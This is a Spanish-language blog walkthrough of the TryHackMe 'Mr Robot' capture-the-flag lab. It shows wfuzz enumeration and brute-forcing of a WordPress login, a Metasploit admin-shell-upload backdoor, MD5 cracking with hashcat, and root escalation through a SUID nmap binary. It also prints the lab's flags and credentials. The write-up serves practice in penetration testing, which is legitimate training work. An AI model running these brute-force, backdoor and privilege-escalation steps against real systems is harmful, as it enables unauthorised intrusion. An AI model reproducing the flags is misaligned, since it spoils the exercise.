1 junio, 2020

Mr Robot CTF (TryHackMe)

CTF (Captura de bandera) Mr.Robot, consiste en la localización de tres bandera y en este caso utilizaremos lo más posible la herramienta WFuzz una de nuestras navajas suizas de pentesting. Ya vimos la captura de las banderas en otra entrada de esta misma página, en esta ocasión la realizaremos con otros métodos como es el uso de la herramienta WFuzz y aplicaremos una vulnerabilidad para el acceso algo distinta.

Lo primero sera unirnos a la habitación de Mr.Robot y realizar nuestra conexión OpenVPN a la red de «TryHackMe» para así poder despegarla maquina durante una hora.

Enumeración

nmap -O -sS -Pn -sV <IP asignada>

El sistema operativo no esta muy claro pero se ven dos puertos abiertos y uno cerrado, empezaremos con el puerto 80.

80 HTTP

En principio no vemos formularios ni nada, pero es el momento de empezar a usar «Wfuzz», en esta ocasión usaremos un script de WFuzz llamado links que nos permitirá localizar enlaces de posible interes.

wfuzz -L -c --script=links -z list,index.html --hc 404 http://<IP>/FUZZ

En principio como posible interés tenemos los ficheros «.js».

Continuamos utilizando WFuzz, es este caso para buscar ficheros y directorios de interés.

wfuzz -L -c -z file,bin/ficheros/fich_dir_web.txt --hc 404 http://<IP>/FUZZ

En esta ocasión vemos varios archivos interesantes como .htaccess pero no tenemos acceso, también podemos observar que al parecer tiene phpmyadmin que podría ser un vector de ataque y robots.txt que lo primero que hacemos es ver su contenido y nos encontramos la referencia de dos fichero: fsocity.dic y key-1-of-3.txt, este ultimo tiene toda la pinta de ser la primera bandera.

Al cargar el fichero «http://10.10.103.39/key-1-of-3.txt» vemos que disponemos de la primera bandera, por lo que entregamos el contenido es «073403c8a58a1f80d943455fb30724b9» para validarlo.

Al ver el otro fichero «fsocity.dic» vemos que es un diccionario de palabras que alguna podría ser usuarios o claves, lo primero que hacemos es bajarlo a nuestra maquina para eliminar los duplicados y así generarnos un diccionario.

curl -o fsocity.dic http://<IP>/fsocity.dic
cat fsocity.dic | sort | uniq > fsocity_unicos.dic

Continuamos utilizando wfuzz, en este caso para intentar descubrir el tipo de CMS.

Continuamos utilizando nuestra herramienta wfuzz, en este caso lanzamos los payloads para localizar directorios y ficheros de paneles de administración.

wfuzz -L -c -z file,/usr/share/wfuzz/wordlist/general/admin-panels.txt --hc 404 http://<IP>/FUZZ

Al encontrar el archivo wp-login.php, fichero de WordPress, por lo que lanzamos otro escaneo con ficheros y directorios propios de WordPress para confirmarlo.

Al saber el acceso para la la administración del panel de wordpress «wp-login.php» intentamos localizar el usuario y clave por fuerza bruta, con WFuzz, utilizando el ficheros reducido «fsocity_unicos.dic» que hemos creado.

Lo primero que hacemos es ver el codigo del formulario que obtendremos bajando la página con «curl http://10.10.103.39/wp-login.php -o Login.php» y en ella vemos que la solicitud es POST a «http://<IP>/wp-login.php con los argumentos:

  • log contendrá el nombre del usuario.
  • pwd tendra el pasword.

sabemos que WordPress cuando el usuario es invalido dará el mensaje «Invalid username» así que ejecutaremos WFuzz indicándole los usuarios del fichero y la clave la ponemos como fija a «nada«

wfuzz -c -z file,fsocity_unicos.dic --hs "Invalid username" -d "log=FUZZ&pwd=nada" http://<IP>/wp-login.php

Vemos que se encuentran tres usuarios, pero es el mismo ya que WordPress no diferencia entre mayúsculas y minúsculas en los usuarios, por lo tanto el usuario localizado es «elliot«.

Con el usuario encontrado intentamos buscar la clave de este, también con WFuzz, en este caso sabemos que el mensaje que nos da cuando el usuario es correcto y no la clave es «The password…· por lo que el comando que lanzaremos en este caso es:

wfuzz -c -z file,fsocity_unicos.dic --hs "The password" -d "log=elliot&pwd=FUZZ" http://<IP>/wp-login.php

Vemos que el usuario localizado es «ER28-0652» al entrar podemos comprobar que no es un usuario cualcquiera sino que dispone de permiso de administrador, con este acceso podemos instalar una página PHP con un BackDoor como realizamos anteriormente o utilizar un exploit desde MetaSploit, que es lo que realizaremos.

Esplotación

Utilizaremos el exploit «exploit/unix/webapp/wp_admin_shell_upload” ya que disponemos del usuario y la clave, cargara un Backdoor y lo ejecutara para que podamos tener un Shell.


msf5> use exploit/unix/webapp/wp_admin_shell_upload
msf5> set PASSWORD ER28-0652
msf5> set USERNAME elliot
msf5> set rhosts 10.10.247.146

// Opciones Avanzadas show advanced options
msf5> set wpcheck false     // Chequea si es un wordpress valido.
msf5> set HttpPartialResponses true   // Evita error en la carga del payload

Logrando la sesión de meterpreter lo que hacemos es obtener un shell y poner el prompt «python -c ‘import pty; pty.spawn(«/bin/bash»);'» de este para que nos sea más cómodo la navegación por los directivos en busca de la bandera e información para escalada de privilegios.

$ id   // Obtenemos que estamos con el usuario daemon
$ cd /home  /amos al directorio de usuarios.
ls -la   //Vemos que existe el directorio de robot.
cd robot   // Entramos en el y miramos
ls -la

Localizamos la segunda bandera «key-2-of-3.txt» pero no tenemos permiso de lectura ya que es del usuario robot, lo que si podemos visualizar es el fichero «password.raw.md5» (robot:c3fcd3d76192e4007dfb496cca67e13b) que según la extensión es MD5, así que lo decodificaremos para ver si es la clave del usuario «robot».

hashcat -m 0 --force c3fcd3d76192e4007dfb496cca67e13b /usr/share/wordlists/rockyou.txt

Obtenemos «abcdefghijklmnopqrstuvwxyz» y lo probamos con el comando «su – robot«, nos deja entrar y al tener ya permisos de usuarios de «robot» visualizamos el fichero «key-2-of-3.txt» y obtenemos la segunda bandera «822c73956184f694993bede3eb39f959»

Realizamos un «find / -name «key-?-of-3.txt -print» lo que nos permite ver que la tercera bandera esta en «/root/key-3-of-3.txt» pero para verlo necesitamos escalar privilegios hasta root.

Escalada de privilegios

Podriamos utilizar el modulo de enumeración de vectores de escalada de privilegios, creado para MetaSploit, «enum_vectores_escalada» ya que disponemos de una sesión de meterpreter pero en este caso realizaremos directamente la búsqueda de SUID ya que conocemos el error de seguridad de nuestro pentesting anterior.

find / -perm -u=s -type f 2> /dev/null

Detectamos varios ficheros pero nos fijamos en «nmap» que nos permite ejecutar comandos de forma interactiva y así podremos ejecutar un Shell, lo mismo que podemos realizar con «vi» lo que nos permitirá gracias al permiso SUID que nos abra una Shell con permiso root.

$ /usr/local/bin/nmap --interactive
nmap> !sh

Una vez que tenemos un prompt con superusuario realizaremos un «cat» del fichero /root/key-3-of-3.txt y nos da la tercera bandera (04787ddef27c3dee1ee161b21670b4e4)

Con esto finalizamos esta captura de bandera que aunque repetida la hemos realizado de una forma distinta y se ha podido ver la herramienta WFuzz en acción.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información básica sobre protección de datos

  • Responsable Javier .
  • Finalidad Moderar los comentarios. Responder las consultas.
  • Legitimación Su consentimiento.
  • Destinatarios Hostinger.es.
  • Derechos Acceder, rectificar y suprimir los datos.
  • Información Adicional Puede consultar la información detallada en el Aviso Legal.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.